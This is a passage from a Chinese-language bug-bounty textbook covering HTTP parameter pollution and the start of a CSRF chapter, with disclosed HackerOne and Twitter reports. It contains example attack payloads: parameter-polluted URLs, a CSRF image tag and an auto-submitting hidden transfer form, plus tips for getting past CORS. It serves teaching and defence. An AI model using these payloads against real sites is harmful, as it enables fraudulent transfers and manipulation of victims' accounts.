在寻找漏洞时,请注意网站使用的服务,因为每一个都代表了新的攻击路径。这个 HackerOne 漏洞正是通过结合 HackerOne 使用 Zendesk 和 HackerOne 允许的已知重定向漏洞得以实现的。
此外,当你发现漏洞时,有时阅读和回应你报告的人可能无法立即理解其中的安全影响。因此,我将在第十九章中讨论漏洞报告,其中详细介绍了你应在报告中包含的发现、如何与公司建立关系以及其他信息。如果你在前期做了一些工作,并且在报告中尊重地解释了安全影响,你的努力将有助于确保问题的顺利解决。
话虽如此,有时公司可能不同意你的看法。如果是这种情况,继续像 Jamal 一样深入挖掘,看看你是否能证明漏洞的存在,或者将其与另一个漏洞结合,展示其影响。
总结
开放重定向允许恶意攻击者在受害者不知情的情况下将其重定向到恶意网站。正如你从示例漏洞报告中学到的,发现这些漏洞通常需要敏锐的观察力。重定向参数有时很容易被发现,尤其是它们的名字像 redirect_to=、domain_name= 或 checkout_url=,如示例中所提到的。其他时候,它们可能有不那么明显的名字,例如 r=、u= 等等。
开放重定向漏洞依赖于对信任的滥用,攻击者通过让目标访问一个他们认为是熟悉的站点,实际上却是攻击者的站点。当你发现可能存在漏洞的参数时,务必彻底测试它们,并在 URL 的某些部分硬编码时加入特殊字符,如句号。
HackerOne 的过渡重定向展示了在寻找漏洞时,识别网站使用的工具和服务的重要性。记住,有时你需要保持耐心,并清楚地展示漏洞,才能说服公司接受你的发现并支付奖励。
第三章:HTTP 参数污染**

HTTP 参数污染(HPP) 是通过操控网站处理 HTTP 请求时接收的参数方式来进行的一种攻击过程。漏洞发生在攻击者注入额外的参数到请求中,而目标网站信任这些参数,导致出现意料之外的行为。HPP 漏洞可能出现在服务器端或客户端。在客户端(通常是你的浏览器)中,你可以看到测试的效果。在许多情况下,HPP 漏洞取决于服务器端代码如何使用作为参数传递的值,这些值由攻击者控制。因此,发现这些漏洞可能需要比其他类型的漏洞更多的实验。
在本章中,我们将首先探讨服务器端 HPP 与客户端 HPP 之间的一般区别。接着,我将使用三个涉及流行社交媒体平台的例子来说明如何利用 HPP 在目标网站上注入参数。具体来说,你将学习服务器端和客户端 HPP 之间的区别、如何测试这种类型的漏洞,以及开发人员常犯的错误。正如你将看到的,发现 HPP 漏洞需要实验和坚持,但它值得付出努力。
服务器端 HPP
在服务器端 HPP 中,你会向服务器发送意料之外的信息,试图使服务器端的代码返回意外的结果。当你向网站发起请求时,网站的服务器会处理请求并返回响应,正如在第一章中讨论的那样。在某些情况下,服务器不仅仅返回一个网页,还会根据它从 URL 中收到的信息运行一些代码。该代码仅在服务器端运行,因此对你来说是不可见的:你可以看到你发送的信息和收到的结果,但中间的代码是无法看到的。因此,你只能推测发生了什么。由于你无法看到服务器端代码的运行方式,服务器端 HPP 依赖于你识别潜在的易受攻击的参数并进行实验。
让我们看一个例子:如果你的银行通过其网站发起转账,接受由其服务器处理的 URL 参数,那么可能会发生服务器端 HPP。假设你可以通过输入三个 URL 参数from、to和amount来转账。每个参数指定了转账的源账户、目标账户和转账金额,顺序如下。一个通过这些参数转账 5000 美元的 URL 可能如下所示:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000
银行可能会假设它只会收到一个from参数。但如果你提交两个参数,会发生什么呢?比如以下的 URL:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
这个 URL 最初的结构与第一个示例相同,但添加了一个额外的 from 参数,指定了另一个发送账户 ABCDEF。在这种情况下,攻击者会发送额外的参数,希望应用程序使用第一个 from 参数来验证转账,但使用第二个参数来提取资金。因此,如果银行信任最后一个收到的 from 参数,攻击者可能能够从他们不拥有的账户执行转账。服务器端代码将不会从账户 12345 向 67890 转账 $5000,而是使用第二个参数,从账户 ABCDEF 向 67890 转账。
当服务器接收到多个具有相同名称的参数时,它可以以多种方式进行响应。例如,PHP 和 Apache 使用最后一个出现的参数,Apache Tomcat 使用第一个出现的参数,ASP 和 IIS 使用所有出现的参数,等等。两位研究员 Luca Carettoni 和 Stefano di Paolo 在 AppSec EU 09 大会上对服务器技术之间的许多差异进行了详细介绍:这些信息现在可以在 OWASP 网站上找到,网址为 www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf(请参见幻灯片 9)。因此,处理多个具有相同名称的参数提交时,并没有一个单一的保证过程,发现 HPP 漏洞需要通过实验来确认你正在测试的网站是如何工作的。
这个银行示例使用了显而易见的参数。但有时,HPP 漏洞是由于隐藏的服务器端行为引起的,这些行为来自于不直接可见的代码。例如,假设你的银行决定修改处理转账的方式,并更改其后端代码,不再在 URL 中包含 from 参数。这次,银行将接收两个参数,一个是接收转账的账户,另一个是转账金额。要转账的账户将由服务器设置,对你不可见。一个示例链接可能如下所示:
https://www.bank.com/transfer?to=67890&amount=5000
通常,服务器端代码对我们来说是个谜,但为了这个示例,我们知道银行(明显糟糕且冗余的)服务器端 Ruby 代码如下所示:
user.account = 12345
def prepare_transfer(➊params)
➋ params << user.account
➌ transfer_money(params) #user.account (12345) becomes params[2]
end
def transfer_money(params)
➍ to = params[0]
➎ amount = params[1]
➏ from = params[2]
transfer(to,amount,from)
end
这段代码创建了两个函数,prepare_transfer 和 transfer_money。prepare_transfer 函数接受一个名为 params ➊ 的数组,该数组包含 URL 中的 to 和 amount 参数。数组为 [67890,5000],其中数组值被括号包围,且每个值之间由逗号分隔。函数的第一行 ➋ 将之前在代码中定义的用户账户信息添加到数组的末尾。最终,我们会在 params 中得到数组 [67890,5000,12345],然后将 params 传递给 transfer_money ➌。请注意,与参数不同,数组没有与值关联的名称,因此代码依赖于数组始终按顺序包含每个值:第一个是要转账的账户,接下来是转账金额,最后是转账来源账户。 在 transfer_money 中,值的顺序变得显而易见,因为函数将每个数组值分配给一个变量。由于数组的位置是从 0 开始编号的,params[0] 访问数组中的第一个位置的值,在此案例中是 67890,并将其分配给变量 to ➍。其他值也分别在第 ➎ 和 ➏ 行分配给变量。然后,变量名被传递给 transfer 函数(该代码片段中未显示),该函数接受这些值并执行转账。
理想情况下,URL 参数应始终按代码预期的格式进行格式化。然而,攻击者可以通过向 params 传递 from 值来改变该逻辑的结果,如以下 URL 所示:
https://www.bank.com/transfer?to=67890&amount=5000&from=ABCDEF
在这种情况下,from 参数也包含在传递给 prepare_transfer 函数的 params 数组中;因此,数组的值将是 [67890,5000,ABCDEF],并且在 ➋ 添加用户账户后,结果会变为 [67890,5000,ABCDEF,12345]。因此,在 prepare_transfer 中调用的 transfer_money 函数中,from 变量将获取第三个参数,期望 user.account 的值为 12345,但实际上会引用攻击者传递的值 ABCDEF ➍。
客户端 HPP
客户端 HPP 漏洞允许攻击者向 URL 中注入额外的参数,以在用户端(客户端是指在你的计算机上发生的操作,通常通过浏览器,而不是在网站的服务器上发生)产生效果。
Luca Carettoni 和 Stefano di Paola 在他们的演示中使用了理论 URL http://host/page.php?par=123%26action=edit 及以下服务器端代码,展示了这种行为的一个例子:
➊ <? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>
➋ <a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a>
这段代码基于par的值(一个用户输入的参数)生成一个新的 URL。在这个示例中,攻击者将值123%26action=edit作为par的值传递,从而生成了一个额外的、未预期的参数。&的 URL 编码值是%26,这意味着当 URL 被解析时,%26会被解释为&。这个值会向生成的href中添加一个额外的参数,而不会让action参数在 URL 中显现。如果参数使用的是123&action=edit而不是%26,&会被解释为分隔两个不同的参数,但由于站点的代码只使用了par参数,action参数将被丢弃。使用%26的值可以绕过这一点,确保action不会最初被识别为一个单独的参数,因此123%26action=edit成为了par的值。
接下来,par(其编码后的&为%26)被传递给函数htmlspecialchars ➊。htmlspecialchars函数将特殊字符(如%26)转换为其 HTML 编码值,将%26转化为&(HTML 实体,用于表示 HTML 中的&),在该字符可能具有特殊含义的地方。转换后的值被存储在$val中。然后通过将$val附加到href值上,生成了一个新的链接,位置见➋。因此,生成的链接变为<a href="/page.php?action=view&par=123&action=edit">。因此,攻击者成功地将额外的action=edit添加到了href网址中,这可能会导致漏洞,具体取决于应用程序如何处理这个被夹带的action参数。
以下三个示例详细介绍了在 HackerOne 和 Twitter 上发现的客户端和服务器端 HPP 漏洞。这些示例都涉及了 URL 参数篡改。然而,需要注意的是,没有两个示例是通过相同的方法发现的,也没有共享相同的根本原因,这进一步强调了在寻找 HPP 漏洞时彻底测试的重要性。
HackerOne 社交分享按钮
难度: 低
网址: hackerone.com/blog/introducing-signal-and-impact/
来源: hackerone.com/reports/105953/
报告日期: 2015 年 12 月 18 日
奖励金额: $500
查找 HPP 漏洞的一种方法是寻找看似与其他服务联系的链接。HackerOne 博客文章正是通过包括分享到流行社交媒体网站(如 Twitter、Facebook 等)的链接来做到这一点。当点击这些链接时,HackerOne 链接会生成内容供用户在社交媒体上发布。发布的内容包括指向原始博客文章的 URL 引用。
一位黑客发现了一个漏洞,允许你在 HackerOne 博客帖子的网址中附加一个参数。添加的 URL 参数会反映在共享的社交媒体链接中,从而使生成的社交媒体内容链接到目标 HackerOne 博客网址以外的地方。
漏洞报告中使用的示例涉及访问网址https://hackerone.com/blog/introducing-signal,然后在末尾添加&u=https://vk.com/durov。在博客页面,当 HackerOne 渲染一个分享到 Facebook 的链接时,链接将变成如下:
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing
-signal?&u=https://vk.com/durov
如果 HackerOne 的访客在尝试分享内容时点击了这个恶意更新的链接,最后一个u参数会优先于第一个u参数。随后,Facebook 帖子将使用最后一个u参数。然后,点击该链接的 Facebook 用户将被引导到vk.com/durov,而不是 HackerOne。
此外,在发布到 Twitter 时,HackerOne 会包含默认的推文文本来推广该帖子。攻击者还可以通过在 URL 中加入&text=来操控这段文本,像这样:
https://hackerone.com/blog/introducing-signal?&u=https://vk.com/
durov&text=another_site:https://vk.com/durov
当用户点击这个链接时,他们会看到一个包含文本“another_site: vk.com/durov”的推文弹窗,而不是推广 HackerOne 博客的文本。
总结
在网站接受内容、似乎在联系另一个网络服务(如社交媒体网站),并依赖当前 URL 生成待发布内容时,注意漏洞机会。
在这些情况下,提交的内容可能在未经适当的安全检查的情况下被传递,这可能导致参数污染漏洞。
Twitter 取消订阅通知
难度: 低
网址: www.twitter.com/
来源: https://blog.mert.ninja/twitter-hpp-vulnerability/
报告日期: 2015 年 8 月 23 日
奖励支付: $700
在某些情况下,成功发现 HPP 漏洞需要坚持不懈。2015 年 8 月,黑客 Mert Tasci 在取消订阅接收 Twitter 通知时注意到了一个有趣的网址(我在这里进行了简化):
https://twitter.com/i/u?iid=F6542&uid=1134885524&nid=22+26&sig=647192e86e28fb6
691db2502c5ef6cf3xxx
注意到参数UID。这个UID恰好是当前登录的 Twitter 账户的用户 ID。在注意到UID后,Tasci 做了大多数黑客会做的事情——他尝试将UID更改为另一个用户的UID,但什么也没发生。Twitter 仅返回了一个错误。
坚持继续,而其他人可能已经放弃,Tasci 尝试添加第二个UID参数,因此 URL 看起来像这样(同样是简化版):
https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26&sig=
647192e86e28fb6691db2502c5ef6cf3xxx
成功!他成功地将另一位用户从他们的邮件通知中取消订阅。Twitter 存在 HPP 用户取消订阅漏洞。正如 FileDescriptor 向我解释的那样,这个漏洞之所以值得注意,是因为它与 SIG 参数有关。事实证明,Twitter 使用 UID 值来生成 SIG 值。当用户点击取消订阅的 URL 时,Twitter 会验证该 URL 是否没有被篡改,通过检查 SIG 和 UID 的值。因此,在 Tasci 的第一次测试中,改变 UID 以取消另一个用户的订阅失败了,因为签名不再与 Twitter 预期的匹配。然而,通过添加第二个 UID,Tasci 成功地使 Twitter 用第一个 UID 参数验证签名,但使用第二个 UID 参数执行了取消订阅操作。
要点
Tasci 的努力展示了坚持和知识的重要性。如果他在更改 UID 为另一个用户的值并失败后放弃,或者如果他不知道 HPP 类型的漏洞,他将无法获得 $700 的奖励。
此外,还要留意那些包含自动递增整数的参数,如 UID,这些参数通常会出现在 HTTP 请求中:许多漏洞都涉及到操控这些参数的值,使得 Web 应用程序的行为变得出乎意料。我将在第十六章中更详细地讨论这一点。
Twitter Web Intents
难度: 低
URL: twitter.com/
来源: ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents/
报告日期: 2015 年 11 月
奖励支付: 未披露
在某些情况下,HPP 漏洞可能暗示着其他问题,并可能导致发现其他 bug。这就是 Twitter Web Intents 功能中发生的情况。该功能提供了在非 Twitter 网站的上下文中与 Twitter 用户的推文、回复、转发、点赞和关注互动的弹出流程。Twitter Web Intents 使用户能够在不离开页面的情况下与 Twitter 内容互动,也无需仅仅为了互动而授权新的应用程序。图 3-1 显示了这些弹出窗口的一个示例。

图 3-1:Twitter Web Intents 功能的早期版本,它允许用户在不离开页面的情况下与 Twitter 内容进行互动。在这个例子中,用户可以点赞 Jack 的推文。
在测试此功能时,黑客 Eric Rafaloff 发现所有四种意图类型——关注用户、点赞推文、转发推文和发推文——都存在 HPP 漏洞。Twitter 会通过一个 GET 请求创建每个意图,URL 参数如下:
https://twitter.com/intent/intentType?parameter_name=parameterValue
该 URL 将包括 intentType 和一个或多个参数名/值对——例如,Twitter 用户名和推文 ID。Twitter 将使用这些参数来创建弹出意图,显示用户要关注的对象或要点赞的推文。Rafaloff 发现当他创建一个包含两个 screen_name 参数的 URL 时,而不是预期的单一 screen_name 参数时,出现了问题:
https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3
Twitter 会处理请求,优先使用第二个 screen_name 值 ericrtest3,而不是第一个 twitter 值来生成 Follow 按钮。因此,试图关注 Twitter 官方账户的用户可能会被欺骗去关注 Rafaloff 的测试账户。访问 Rafaloff 创建的 URL 会导致 Twitter 后端代码使用两个 screen_name 参数生成以下 HTML 表单:
➊ <form class="follow" id="follow_btn_form" action="/intent/follow?screen
_name=ericrtest3" method="post">
<input type="hidden" name="authenticity_token" value="...">
➋ <input type="hidden" name="screen_name" value="twitter">
➌ <input type="hidden" name="profile_id" value="783214">
<button class="button" type="submit">
<b></b><strong>Follow</strong>
</button>
</form>
Twitter 会使用第一个 screen_name 参数中的信息,这个参数与官方 Twitter 账户相关联。因此,目标用户会看到他们打算关注的用户的正确个人资料,因为 URL 中的第一个 screen_name 参数用于填充 ➋ 和 ➌ 处的代码。但是,点击按钮后,目标用户将会关注 ericrtest3,因为表单标签中的操作将使用传递给原始 URL 的第二个 screen_name 参数值 ➊。
类似地,当提出点赞意图时,Rafaloff 发现他可以在没有与点赞推文相关的情况下,仍然包含一个 screen_name 参数。例如,他可以创建这个 URL:
https://twitter.com/intent/like?tweet_i.d=6616252302978211845&screen
_name=ericrtest3
一个普通的点赞意图只需要 tweet_id 参数;然而,Rafaloff 将 screen_name 参数注入到 URL 的末尾。点赞这条推文将导致目标用户看到正确的推文所有者的个人资料来进行点赞。但正确的推文旁边的 Follow 按钮以及推文作者的正确个人资料会显示为与之无关的用户 ericrtest3。
要点
Twitter Web Intents 漏洞与之前的 UID Twitter 漏洞类似。不出所料,当一个网站容易受到像 HPP 这样的漏洞影响时,可能意味着更广泛的系统性问题。有时,当你发现这样的漏洞时,值得花时间全面探索平台,看看是否有其他地方也可以利用类似的行为。
总结
HPP 所带来的风险取决于网站后端执行的操作以及污染参数的使用位置。
发现 HPP 漏洞需要彻底的测试,比某些其他漏洞更为重要,因为我们通常无法访问服务器在收到 HTTP 请求后运行的代码。这意味着我们只能推测网站如何处理我们传递给它们的参数。
通过反复试验,你可能会发现 HPP 漏洞发生的情况。通常,社交媒体链接是测试这种漏洞类型的一个好起点,但记得继续深入挖掘,并在测试参数替换时考虑 HPP 漏洞,例如类似 ID 的值。
第四章:跨站请求伪造(CSRF)

当攻击者能够使目标的浏览器向另一个网站发送 HTTP 请求时,就会发生跨站请求伪造(CSRF)攻击。该网站随后会执行一个操作,仿佛该请求是由目标发送且有效的。这种攻击通常依赖于目标已经在易受攻击的网站上进行身份验证,并且在目标不知情的情况下发生。当 CSRF 攻击成功时,攻击者能够修改服务器端信息,甚至可能接管用户账户。下面是一个基本示例,我们稍后会详细讲解:
-
Bob 登录银行网站查看他的余额。
-
完成后,Bob 检查他在另一个域名下的电子邮件账户。
-
Bob 收到一封电子邮件,邮件中有一个链接指向一个不熟悉的网站,他点击该链接查看它的目的地。
-
加载完成后,那个不熟悉的网站指示 Bob 的浏览器向 Bob 的银行网站发起 HTTP 请求,要求将他的账户中的钱转移到攻击者的账户。
-
Bob 的银行网站接收到了来自不熟悉(且恶意)网站发起的 HTTP 请求。但由于银行网站没有任何 CSRF 防护,它处理了该转账请求。
身份验证
如我刚才描述的那样,CSRF 攻击利用了网站在验证请求时存在的漏洞。当您访问一个需要登录的网站时,通常会使用用户名和密码进行身份验证。网站会将您的身份验证信息存储在浏览器中,这样您在访问该网站的其他页面时就不需要每次都重新登录。它可以通过两种方式存储认证信息:使用基础认证协议或使用 cookie。
当 HTTP 请求中包含如下所示的头部时,您可以识别出一个使用基础认证的网站:Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l。这个看似随机的字符串是经过 base64 编码的用户名和密码,中间用冒号分隔。在这种情况下,QWxhZGRpbjpPcGVuU2VzYW1l 解码为 Aladdin:OpenSesame。我们在本章不会专门讲解基础认证,但您可以使用本章介绍的许多技术来利用使用基础认证的 CSRF 漏洞。
Cookies 是网站创建并存储在用户浏览器中的小文件。网站使用 cookies 来实现多种目的,例如存储用户偏好或用户访问网站的历史记录。Cookies 有一些 属性,这些是标准化的信息。这些细节告诉浏览器如何处理 cookies。一些 cookie 属性可能包括 domain、expires、max-age、secure 和 httponly,你将在本章后面学习到这些属性。除了属性之外,cookies 还可以包含 名称/值对,该对由标识符和与之关联的值组成,并将其传递给网站(cookie 的 domain 属性定义了将此信息传递给哪个网站)。
浏览器定义了一个网站可以设置的 cookie 数量。但通常情况下,单个网站在常见浏览器中可以设置从 50 到 150 个 cookie,有些报告显示支持多达 600 个 cookie。浏览器通常允许每个 cookie 使用最多 4KB 的空间。对于 cookie 的名称和值没有标准:网站可以自由选择自己的名称/值对及用途。例如,一个网站可以使用名为 sessionId 的 cookie 来记住用户身份,而不需要用户在每次访问页面或执行操作时都输入用户名和密码。(回想一下,HTTP 请求是无状态的,正如在第一章中所描述的。无状态意味着每次 HTTP 请求时,网站都不知道用户是谁,因此必须为每次请求重新验证该用户。)
举个例子,cookie 中的一个名称/值对可能是 sessionId=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08,该 cookie 的 domain 可能是 .site.com。因此,sessionId cookie 将会被发送到用户访问的每个 .
secure 和 httponly 属性告诉浏览器何时以及如何发送和读取 cookies。这些属性不包含值;相反,它们作为标志,可能出现在 cookie 中,也可能不出现。当一个 cookie 包含 secure 属性时,浏览器只有在访问 HTTPS 网站时才会发送该 cookie。例如,如果你访问 http://www.httponly 属性将在你学习跨站脚本攻击(XSS)时变得重要,参见第七章,它指示浏览器只通过 HTTP 和 HTTPS 请求来读取 cookie。因此,浏览器不会允许任何脚本语言(如 JavaScript)读取该 cookie 的值。当 secure 和 httponly 属性没有在 cookie 中设置时,这些 cookie 可能会被合法发送,但被恶意读取。没有 secure 属性的 cookie 可以发送到非 HTTPS 网站;同样,未设置 httponly 的 cookie 可以被 JavaScript 读取。
expires 和 max-age 属性指示 cookie 何时过期以及浏览器何时销毁它。expires 属性简单地告诉浏览器在特定日期销毁一个 cookie。例如,cookie 可以设置属性为 expires=Wed, 18 Dec 2019 12:00:00 UTC。与此相对,max-age 是一个整数,表示 cookie 过期的秒数(例如,max-age=300)。
总结一下,如果鲍勃访问的银行网站使用了 cookies,该网站将通过以下过程存储他的身份验证信息。一旦鲍勃访问网站并登录,银行将以 HTTP 响应的形式回应他的 HTTP 请求,响应中包含一个标识鲍勃的 cookie。反过来,鲍勃的浏览器会自动将该 cookie 与所有其他 HTTP 请求一起发送到银行网站。
完成银行事务后,鲍勃没有在离开银行网站时登出。请注意这个重要细节,因为当你从一个网站登出时,该网站通常会以 HTTP 响应的形式回应,令你的 cookie 失效。结果,当你重新访问该网站时,你需要再次登录。
当鲍勃查看电子邮件并点击链接访问未知网站时,他无意中访问了一个恶意网站。该网站的设计目的是通过指示鲍勃的浏览器向银行网站发送请求来执行 CSRF 攻击。此请求也会从他的浏览器发送 cookies。
使用 GET 请求的 CSRF
恶意网站如何利用 Bob 的银行网站,取决于银行是否接受通过 GET 或 POST 请求进行转账。如果 Bob 的银行网站接受通过 GET 请求进行转账,恶意网站将通过隐藏表单或 <img> 标签发送 HTTP 请求。GET 和 POST 方法都依赖 HTML 使浏览器发送所需的 HTTP 请求,且两种方法都可以使用隐藏表单技术,但只有 GET 方法能够使用 <img> 标签技术。在本节中,我们将讨论使用 GET 请求方法时,攻击如何通过 HTML <img> 标签技术来实现,而关于隐藏表单技术的内容将在下一节 “使用 POST 请求的 CSRF” 中讨论。
攻击者需要在任何转账 HTTP 请求中包含 Bob 的 cookies。但由于攻击者无法读取 Bob 的 cookies,攻击者不能仅仅创建一个 HTTP 请求并将其发送到银行网站。相反,攻击者可以使用 HTML <img> 标签来创建一个 GET 请求,该请求也包含 Bob 的 cookies。<img> 标签在网页上渲染图像,并包含一个 src 属性,指示浏览器图像文件的位置。当浏览器渲染 <img> 标签时,它会发出一个 HTTP GET 请求到标签中的 src 属性,并在该请求中包含任何现有的 cookies。所以,假设恶意网站使用如下的 URL 将 $500 从 Bob 转账到 Joe:
https://www.bank.com/transfer?from=bob&to=joe&amount=500
然后,恶意的 <img> 标签会使用这个 URL 作为其源值,如下所示:
<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500">
因此,当 Bob 访问攻击者控制的网站时,该网站在 HTTP 响应中包含 <img> 标签,浏览器随后会发出 HTTP GET 请求到银行。浏览器发送 Bob 的认证 cookies,试图获取它认为应该是图像的内容。但实际上,银行收到请求后,会处理标签中 src 属性的 URL,并创建转账请求。
为了避免这种漏洞,开发者应该避免使用 HTTP GET 请求来执行任何会修改后端数据的操作,如转账。但是,任何只读请求应该是安全的。许多用于构建网站的常见 Web 框架,如 Ruby on Rails、Django 等,都会期望开发者遵循这一原则,因此它们会自动为 POST 请求添加 CSRF 保护,而不为 GET 请求添加保护。
使用 POST 请求的 CSRF
如果银行通过 POST 请求执行转账操作,你将需要使用不同的方法来创建 CSRF 攻击。攻击者不能使用 <img> 标签,因为 <img> 标签无法触发 POST 请求。相反,攻击者的策略将依赖于 POST 请求的内容。
最简单的情况是POST请求使用application/x-www-form-urlencoded或text/plain的内容类型。内容类型是浏览器在发送 HTTP 请求时可能包含的头部。这个头部告诉接收方 HTTP 请求正文是如何编码的。以下是一个text/plain内容类型请求的示例:
POST / HTTP/1.1
Host: www.google.ca
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 5
➊ Content-Type: text/plain;charset=UTF-8
DNT: 1
Connection: close
hello
内容类型➊已标明,并列出了请求的类型以及字符编码。内容类型非常重要,因为浏览器对不同的类型有不同的处理方式(稍后我会详细说明)。
在这种情况下,恶意网站有可能创建一个隐藏的 HTML 表单,并在目标不知情的情况下悄悄地将其提交到易受攻击的网站。该表单可以提交一个POST或GET请求到一个 URL,甚至可以提交参数值。以下是恶意链接将 Bob 引导到的网站中的一些有害代码示例:
➊ <iframe style="display:none" name="csrf-frame"></iframe>
➋ <form method='POST' action='http://bank.com/transfer' target="csrf-frame"
id="csrf-form">
➌ <input type='hidden' name='from' value='Bob'>
<input type='hidden' name='to' value='Joe'>
<input type='hidden' name='amount' value='500'>
<input type='submit' value='submit'>
</form>
➍ <script>document.getElementById("csrf-form").submit()</script>
在这里,我们正在向 Bob 的银行发送一个 HTTP POST请求➋,请求携带一个表单(由<form>标签中的action属性表示)。由于攻击者不希望 Bob 看到该表单,因此每个<input>元素➌的类型设置为'hidden',使其在 Bob 看到的网页上不可见。最后,攻击者在<script>标签中包含一些 JavaScript 代码,自动提交表单,当页面加载时执行 ➍。JavaScript 通过调用 HTML 文档中的getElementByID()方法,并传入我们在第二行➋设置的表单 ID("csrf-form")作为参数来完成这一过程。与GET请求类似,一旦表单提交,浏览器会发送 HTTP POST请求,将 Bob 的 Cookies 发送到银行网站,从而触发转账。由于POST请求会将 HTTP 响应返回给浏览器,攻击者通过使用display:none属性➊将响应隐藏在 iFrame 中。结果,Bob 看不见这个响应,也没意识到发生了什么。
在其他情况下,网站可能期望POST请求使用application/json的内容类型提交。某些情况下,application/json类型的请求会包含一个CSRF 令牌。这个令牌是与 HTTP 请求一起提交的值,目的是让合法的网站验证该请求是来源于自身,而不是来自其他恶意网站。有时POST请求的 HTTP 正文中会包含令牌,但在其他情况下,POST请求会带有一个类似X-CSRF-TOKEN的自定义头。浏览器向网站发送application/json POST请求时,它会在POST请求之前先发送一个OPTIONS HTTP 请求。网站随后会返回一个响应,告知哪些类型的 HTTP 请求被接受,并指明哪些可信来源是被允许的。这被称为预检OPTIONS调用。浏览器读取这个响应后,再发送适当的 HTTP 请求,在我们银行的例子中,这将是一个用于转账的POST请求。
如果正确实施,预检 OPTIONS 请求可以防止一些 CSRF 漏洞:恶意网站不会被服务器列为受信任的网站,浏览器仅允许特定的网站(即白名单网站)读取 HTTP OPTIONS 响应。因此,由于恶意网站无法读取 OPTIONS 响应,浏览器也不会发送恶意的 POST 请求。
定义网站何时以及如何相互读取响应的规则集称为跨域资源共享(CORS)。CORS 限制了资源访问,包括来自外部域(即未提供文件或未被测试网站允许的域)的 JSON 响应访问。换句话说,当开发者使用 CORS 来保护网站时,你无法提交 application/json 请求去调用被测试的应用程序,读取响应并再次调用,除非被测试的网站允许这么做。在某些情况下,你可以通过将 content-type 头更改为 application/x-www-form-urlencoded、multipart/form-data 或 text/plain 来绕过这些保护。当使用这些三种内容类型发送 POST 请求时,浏览器不会发送预检的 OPTIONS 请求,因此 CSRF 请求可能会成功。如果没有成功,可以查看服务器 HTTP 响应中的 Access-Control-Allow-Origin 头,仔细检查服务器是否信任任意来源。如果该响应头在来自任意来源的请求发送时发生变化,则该站点可能存在更大的问题,因为它允许任何来源读取其服务器的响应。这不仅会导致 CSRF 漏洞,还可能允许恶意攻击者读取服务器 HTTP 响应中返回的任何敏感数据。
防御 CSRF 攻击
你可以通过多种方式缓解 CSRF 漏洞。防御 CSRF 攻击的最常见方法之一是使用 CSRF token。受保护的网站在提交可能会修改数据的请求时(即 POST 请求),会要求使用 CSRF token。在这种情况下,像 Bob 的银行这样的 Web 应用会生成一个包含两部分的 token:一部分 Bob 会收到,另一部分应用会保留。当 Bob 尝试进行转账请求时,他必须提交自己的 token,银行会将其与服务器端的 token 进行验证。这些 token 的设计使得它们无法被猜测,并且只能由分配给特定用户(如 Bob)的人访问。此外,它们的命名并不总是显而易见,但一些可能的命名示例包括 X-CSRF-TOKEN、lia-token、rt 或 form-id。这些 token 可以包含在 HTTP 请求头中,HTTP POST 请求体中,或作为隐藏字段,如以下示例所示:
<form method='POST' action='http://bank.com/transfer'>
<input type='text' name='from' value='Bob'>
<input type='text' name='to' value='Joe'>
<input type='text' name='amount' value='500'>
<input type='hidden' name='csrf' value='lHt7DDDyUNKoHCC66BsPB8aN4p24hxNu6ZuJA+8l+YA='>
<input type='submit' value='submit'>
</form>
在这个示例中,网站可以从 Cookie、嵌入的脚本或作为网站内容的一部分获取 CSRF 令牌。无论使用哪种方法,只有目标的网页浏览器才能知道并读取该值。由于攻击者无法提交令牌,他们将无法成功提交 POST 请求,也无法执行 CSRF 攻击。然而,仅仅因为网站使用了 CSRF 令牌,并不意味着在寻找漏洞时就会走入死胡同。尝试移除令牌、修改其值等操作,以确认令牌是否已正确实现。
网站保护自己的一种方式是使用 CORS;然而,这并非万无一失,因为它依赖于浏览器的安全性,并确保适当的 CORS 配置,以确定何时第三方网站可以访问响应。攻击者有时可以通过将内容类型从 application/json 更改为 application/x-www-form-urlencoded 或使用 GET 请求而非 POST 请求来绕过 CORS,因为服务器端的配置可能存在问题。绕过之所以有效,是因为当内容类型为 application/json 时,浏览器会自动发送 OPTIONS HTTP 请求,但如果是 GET 请求或内容类型为 application/x-www-form-urlencoded,浏览器则不会自动发送 OPTIONS HTTP 请求。
最后,还有两种额外的、较少见的 CSRF 缓解策略。首先,网站可以检查提交的 HTTP 请求中的Origin或Referer头的值,并确保其包含预期的值。例如,在某些情况下,Twitter 会检查Origin头,如果该头未包含,会检查Referer头。之所以有效,是因为浏览器控制这些头部,攻击者无法远程设置或更改它们(显然,这不包括利用浏览器或浏览器插件中的漏洞来允许攻击者控制这些头部)。第二,浏览器现在开始实现对一种名为samesite的新 cookie 属性的支持。该属性可以设置为strict或lax。当设置为strict时,浏览器不会发送任何来自非本站点的 HTTP 请求的 cookie。这甚至包括简单的 HTTP GET请求。例如,如果你已登录 Amazon 并使用strict samesite cookies,当你从另一个网站点击链接时,浏览器不会提交你的 cookie。此时,Amazon 不会识别你为已登录状态,直到你访问另一个 Amazon 网页并提交了 cookie。相反,将samesite属性设置为lax指示浏览器在初始的GET请求中发送 cookie。这支持GET请求不应改变服务器端数据的设计原则。在这种情况下,如果你已登录 Amazon 并使用lax samesite cookies,当你从另一个网站被重定向到 Amazon 时,浏览器会提交你的 cookie,Amazon 会识别你为已登录状态。
Shopify Twitter 断开连接
难度: 低
URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect/
来源: www.hackerone.com/reports/111216/
报告日期: 2016 年 1 月 17 日
奖励支付: $500
在寻找潜在的 CSRF 漏洞时,要留意那些会修改服务器端数据的GET请求。例如,一名黑客发现了一个 Shopify 功能的漏洞,该功能将 Twitter 集成到站点中,允许商店所有者发布关于其产品的推文。该功能还允许用户断开与连接商店的 Twitter 帐户的关联。断开 Twitter 帐户的 URL 如下所示:
